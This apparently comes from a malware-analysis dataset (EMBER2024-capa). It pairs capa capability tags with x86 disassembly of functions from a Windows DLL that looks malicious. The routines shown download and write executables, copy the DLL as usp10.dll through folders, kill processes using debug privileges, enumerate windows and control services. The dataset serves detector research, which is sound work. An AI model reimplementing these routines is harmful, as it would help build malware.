joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000647a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x100065a8
cmp dword [esi + 0x1c], 0
je 0x100065a8
call fcn.10006a37
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.10006872
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.10006872
lea ecx, [esi + 0x88]
call fcn.100065b1
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.10006872
cmp byte [edi], 2
jne 0x10006523
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.10006a9c
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.10006b13
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x100065a3
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x1000652f
xor edi, edi
cmp eax, dword [0x1001d02c]
je 0x10006548
push edi
mov ecx, esi
call fcn.10006607
test al, al
je 0x10006548
add edi, 0x13
jmp 0x1000654b
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10006561
push edi
mov ecx, esi
call fcn.10006607
test al, al
je 0x10006543
add edi, 0x13
jmp 0x10006543
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x1001d02c], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x10006599
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10006586
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x100065aa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000765b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, str.SeDebugPrivilege
push 1
push edi
call fcn.1000726e
pop ecx
pop ecx
push str.OpenProcess
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov dword [ebp - 4], eax
call fcn.10005618
push eax
call esi
push str.CloseHandle
mov dword [ebp - 8], eax
call fcn.10005618
push eax
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], esi
jbe 0x100076d5
push ebx
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call dword [ebp - 8]
push ebx
call dword [ebp - 0xc]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x100076b0
pop ebx
push 0
push edi
call fcn.1000726e
pop ecx
pop ecx
pop edi
pop esi
leave
ret 8
Function at 0x100077ab
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x100134f8
call fcn.1000c73c
sub esp, 0xc58
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push str.LoadLibraryW
mov dword [ebp - 0x18], ebx
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.USER32.DLL
call eax
push str.EnumWindows
push eax
call fcn.10005641
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
push ecx
push 0x1000776b
call eax
push str.LocalSize
call fcn.10005618
push eax
call esi
push dword [ebp - 0x18]
call eax
mov esi, eax
mov al, byte [ebp - 0x19]
mov byte [ebp - 0x30], al
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.100088ae
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
shr dword [ebp - 0x10], 2
je 0x10007933
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, 0x187
xor eax, eax
lea edi, [ebp - 0xc60]
mov dword [ebp - 0xc64], ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0x200
movzx edi, byte [eax + ecx*4]
lea eax, [ebp - 0x644]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10007924
push 0x104
lea eax, [ebp - 0x23c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x23c]
push 0x208
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x104
lea eax, [ebp - 0x444]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x444]
push eax
push edi
call fcn.10007733
add esp, 0x14
lea eax, [ebp - 0x644]
mov dword [ebp - 0xc64], edi
push eax
lea eax, [ebp - 0xc5e]
push eax
call esi
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0xa56]
push eax
call esi
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x84e]
push eax
call esi
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
setne al
mov byte [ebp - 0xc60], al
lea eax, [ebp - 0xc64]
push eax
lea ecx, [ebp - 0x30]
call fcn.1000889d
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jb 0x1000783c
cmp dword [ebp - 0x2c], ebx
mov esi, 0x620
jne 0x10007941
xor edi, edi
jmp 0x1000794e
mov eax, dword [ebp - 0x28]
mov ecx, esi
sub eax, dword [ebp - 0x2c]
cdq
idiv ecx
mov edi, eax
mov eax, edi
mov ecx, dword [ebp - 0x20]
imul eax, eax, 0x620
inc eax
push eax
call fcn.1000723d
cmp edi, ebx
mov dword [ebp - 0x34], eax
mov byte [eax], 0x82
jbe 0x10007993
mov dword [ebp - 0x10], ebx
lea ebx, [eax + 1]
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
add ecx, eax
push esi
push ecx
push ebx
call sub.MSVCRT.dll_memcpy
add dword [ebp - 0x10], esi
add esp, 0xc
add ebx, esi
dec dword [ebp - 0x14]
jne 0x10007973
mov eax, dword [ebp - 0x34]
imul edi, edi, 0x4a0
mov ecx, dword [ebp - 0x20]
inc edi
push edi
push eax
call fcn.10004d90
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.10008860
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100079bf
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov esi, dword [eax]
push esi
mov dword [ebp + 0xc], esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10007a11
mov eax, dword [ebp + 8]
test eax, eax
jne 0x100079ee
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
pop eax
jmp 0x10007a11
push 1
pop edi
cmp eax, edi
jne 0x100079f9
push 6
jmp 0x10007a08
cmp eax, 2
jne 0x10007a02
push 0
jmp 0x10007a08
cmp eax, 3
jne 0x10007a17
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, edi
pop edi
pop esi
leave
ret 0xc
cmp eax, 4
jne 0x10007a25
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
jmp 0x10007a0f
cmp eax, 5
jne 0x10007a0f
push ebx
push str.OpenProcess
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov ebx, eax
call fcn.10005618
push eax
call esi
push str.CloseHandle
mov dword [ebp - 4], eax
call fcn.10005618
push eax
call esi
mov esi, str.SeDebugPrivilege
push edi
push esi
mov dword [ebp - 8], eax
call fcn.1000726e
pop ecx
lea eax, [ebp + 8]
pop ecx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp + 8]
push 0
push 0x1f0fff
call ebx
mov ebx, eax
push 0
push ebx
call dword [ebp - 4]
push ebx
call dword [ebp - 8]
push 0
push esi
call fcn.1000726e
pop ecx
mov eax, edi
pop ecx
pop ebx
jmp 0x10007a11
Function at 0x100097ed
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10009789
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000984b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.user32.dll
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.GetUserObjectInformationW
push edi
call esi
push str.GetThreadDesktop
push edi
mov dword [ebp - 0x14], eax
call esi
push str.OpenInputDesktop
push edi
mov dword [ebp - 8], eax
call esi
push str.SetThreadDesktop
push edi
mov dword [ebp - 4], eax
call esi
push str.CloseDesktop
push edi
mov dword [ebp - 0x1c], eax
call esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [ebp - 8]
mov esi, 0x200
mov dword [ebp - 8], eax
push esi
lea eax, [ebp - 0x21c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x21c]
push esi
push eax
push 2
push dword [ebp - 8]
call dword [ebp - 0x14]
push 0x2000000
push ebx
push ebx
call dword [ebp - 4]
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
push 2
push dword [ebp - 4]
call dword [ebp - 0x14]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10009934
push dword [ebp - 4]
call dword [ebp - 0x1c]
mov dword [ebp - 0xc], 1
push dword [ebp - 8]
call dword [ebp - 0x10]
push dword [ebp - 4]
call dword [ebp - 0x10]
cmp edi, ebx
je 0x1000994b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
setne al
pop ebx
leave
ret
Function at 0x10009a79
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.GetThreadDesktop
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call edi
push str.Winlogon
mov edi, eax
call fcn.100099ef
test eax, eax
pop ecx
je 0x10009ae0
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test edi, edi
je 0x10009ad2
push edi
call fcn.10009958
pop ecx
test esi, esi
je 0x10009add
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
pop edi
pop esi
ret

Function at 0x10009ae3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
push 1
pop eax
xor edi, edi
push str.wininet.dll
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
cmp ebx, edi
je 0x10009c11
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push ebx
call esi
push str.InternetOpenUrlA
push ebx
mov dword [ebp - 4], eax
call esi
push str.InternetCloseHandle
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.InternetReadFile
push ebx
mov dword [ebp - 0x10], eax
call esi
push edi
push edi
push edi
push edi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x18], eax
call dword [ebp - 4]
cmp eax, edi
mov dword [ebp - 0x20], eax
je 0x10009b70
push edi
push 0x80000000
push edi
push edi
push dword [ebp + 8]
push eax
call dword [ebp - 0x24]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x10009b77
xor al, al
jmp 0x10009c19
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10009bf9
mov esi, 0x800
push esi
lea eax, [ebp - 0x824]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x824]
push esi
push eax
push dword [ebp - 4]
call dword [ebp - 0x18]
cmp dword [ebp - 0x14], edi
je 0x10009bcb
cmp word [ebp - 0x824], 0x5a4d
jne 0x10009bed
lea eax, [ebp - 0x1c]
push edi
push eax
lea eax, [ebp - 0x824]
push dword [ebp - 8]
mov dword [ebp - 0x14], edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], edi
jbe 0x10009bf0
jmp 0x10009b98
mov dword [ebp - 0xc], edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call esi
push dword [ebp - 4]
call dword [ebp - 0x10]
push dword [ebp - 0x20]
call dword [ebp - 0x10]
push ebx
call esi
xor eax, eax
cmp dword [ebp - 0xc], edi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a545
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x10013578
call fcn.1000c73c
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push ebx
push 0x80
push 3
push ebx
push 2
push 0x40000000
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x1000a581
xor eax, eax
jmp 0x1000a5e1
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0xc8
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push esi
push 0x2e
push edi
call sub.MSVCRT.dll_memset
push 0x64
push 1
xor esi, esi
call fcn.1000a511
add esp, 0x14
mov dword [ebp - 0x14], eax
cmp esi, dword [ebp - 0x14]
jge 0x1000a5d5
lea eax, [ebp - 0x18]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc esi
jmp 0x1000a5b4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x1000a5f6
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x10013584
call fcn.1000c73c
sub esp, 0x20c
push ebx
push esi
push edi
and dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x218]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
call fcn.10009c1e
mov esi, eax
pop ecx
test esi, esi
je 0x1000a677
push str.usp10.dll
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000a677
push 0
lea eax, [ebp - 0x218]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call fcn.1000a545
pop ecx
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x1000a68f
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0x250
lea eax, [ebp - 0x258]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x870]
push dword [ebp + 8]
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x1000a6e6
xor al, al
leave
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 0x1001a3e4
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
neg eax
sbb al, al
push 0x1001a39c
inc al
mov byte [ebp - 1], al
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1000a81d
lea eax, [ebp - 0x22c]
push 0x1001a394
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1000a81d
test byte [ebp - 0x258], 0x10
je 0x1000a79b
push 0x208
lea eax, [ebp - 0x668]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x668]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x668]
push ebx
push eax
call esi
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x668]
push eax
call esi
lea eax, [ebp - 0x668]
push eax
call fcn.1000a68f
pop ecx
jmp 0x1000a815
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea eax, [ebp - 0x460]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x460]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x460]
push ebx
push eax
call esi
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x460]
push eax
call esi
lea eax, [ebp - 0x460]
push 0x1001ba3c
push eax
call fcn.10009ca5
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1000a815
lea eax, [ebp - 0x460]
push eax
call fcn.1000a5f6
test eax, eax
pop ecx
je 0x1000a81d
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], 0
je 0x1000a6fa
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor al, al
pop ebx
leave
ret

Function at 0x1000a8eb
Capabilities:
Create thread

Disassembly:
xor eax, eax
push esi
push eax
push eax
push 0x1001d068
push 0x10009f04
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1001d05c]
cmp eax, 3
je 0x1000a91b
cmp eax, 1
jne 0x1000a904
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
ret
Function at 0x1000a930
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x730
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 0x208
mov esi, 0x1001d068
push dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
call fcn.1000a222
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.RegisterServiceCtrlHandlerW
push ebx
call edi
push str.RegisterServiceCtrlHandlerExW
push ebx
mov dword [ebp + 0xc], eax
call edi
xor edi, edi
cmp eax, edi
je 0x1000a98e
push edi
push fcn.1000acf1
push esi
call eax
jmp 0x1000a997
push 0x1000ade2
push esi
call dword [ebp + 0xc]
cmp eax, edi
mov dword [0x1001d058], eax
je 0x1000aaec
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push edi
push 2
call fcn.1000ac9b
push edi
push edi
push 4
call fcn.1000ac9b
push esi
call fcn.1000a43f
add esp, 0x1c
mov dword [0x1001d054], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x118], 0x114
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x1000aad7
cmp dword [ebp - 0x114], 6
jae 0x1000aa08
call sym.User.dll_Launch
jmp 0x1000aad7
lea eax, [ebp - 0x320]
push 0x104
push eax
mov dword [ebp + 0xc], edi
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x730]
push str.Global_s
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x528]
push str.rundll32.exe__s__Launch
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x730]
push eax
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x528]
push eax
call fcn.1000a2df
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
mov edi, eax
push 0x64
call ebx
lea eax, [ebp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp + 0xc], 0x103
je 0x1000aab3
push edi
call esi
push 0xbb8
call ebx
lea eax, [ebp - 0x528]
push eax
call fcn.1000a2df
pop ecx
mov edi, eax
mov eax, dword [0x1001d05c]
cmp eax, 3
je 0x1000aac2
cmp eax, 1
jne 0x1000aa82
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call esi
cmp dword [0x1001d054], 0x120
jne 0x1000aaec
push 0x1388
call ebx
jmp 0x1000aae3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b0d8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.StartServiceW
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [ebp - 0x10], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 4], eax
call esi
push 0xf003f
push 0
push 0
mov dword [ebp - 8], eax
call ebx
mov ebx, eax
test ebx, ebx
jne 0x1000b140
or eax, 0xffffffff
jmp 0x1000b1af
push 0xf01ff
push dword [ebp + 8]
push ebx
call dword [ebp - 0xc]
mov esi, eax
test esi, esi
je 0x1000b19d
push 0
push 0
push esi
call dword [ebp - 0x10]
test eax, eax
jne 0x1000b1ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x1000b172
push ebx
call dword [ebp - 4]
push esi
jmp 0x1000b19e
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [ebp - 8]
test eax, eax
je 0x1000b199
cmp dword [ebp - 0x28], 2
jne 0x1000b18e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b172
test edi, edi
je 0x1000b199
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call dword [ebp - 4]
push ebx
call dword [ebp - 4]
test edi, edi
je 0x1000b1ac
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b268
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.ControlService
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [ebp - 0x10], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 4], eax
call esi
push 0xf003f
push 0
push 0
mov dword [ebp - 8], eax
call ebx
mov esi, eax
test esi, esi
je 0x1000b340
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [ebp - 0xc]
mov ebx, eax
test ebx, ebx
je 0x1000b32c
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [ebp - 8]
test eax, eax
je 0x1000b328
push 1
pop eax
cmp dword [ebp - 0x28], eax
je 0x1000b365
lea ecx, [ebp - 0x2c]
push ecx
push eax
push ebx
call dword [ebp - 0x10]
test eax, eax
je 0x1000b328
cmp dword [ebp - 0x28], 3
jne 0x1000b328
cmp dword [ebp + 0xc], 0
je 0x1000b328
cmp dword [ebp + 0xc], 0xffffffff
je 0x1000b313
dec dword [ebp + 0xc]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [ebp - 8]
jmp 0x1000b2fe
push ebx
call dword [ebp - 4]
push esi
call dword [ebp - 4]
test edi, edi
je 0x1000b33b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
jmp 0x1000b365
test edi, edi
je 0x1000b34b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
mov esi, eax
call dword [ebp - 4]
xor eax, eax
cmp esi, 0x424
setne al
dec eax
dec eax
pop edi
pop esi
pop ebx
leave
ret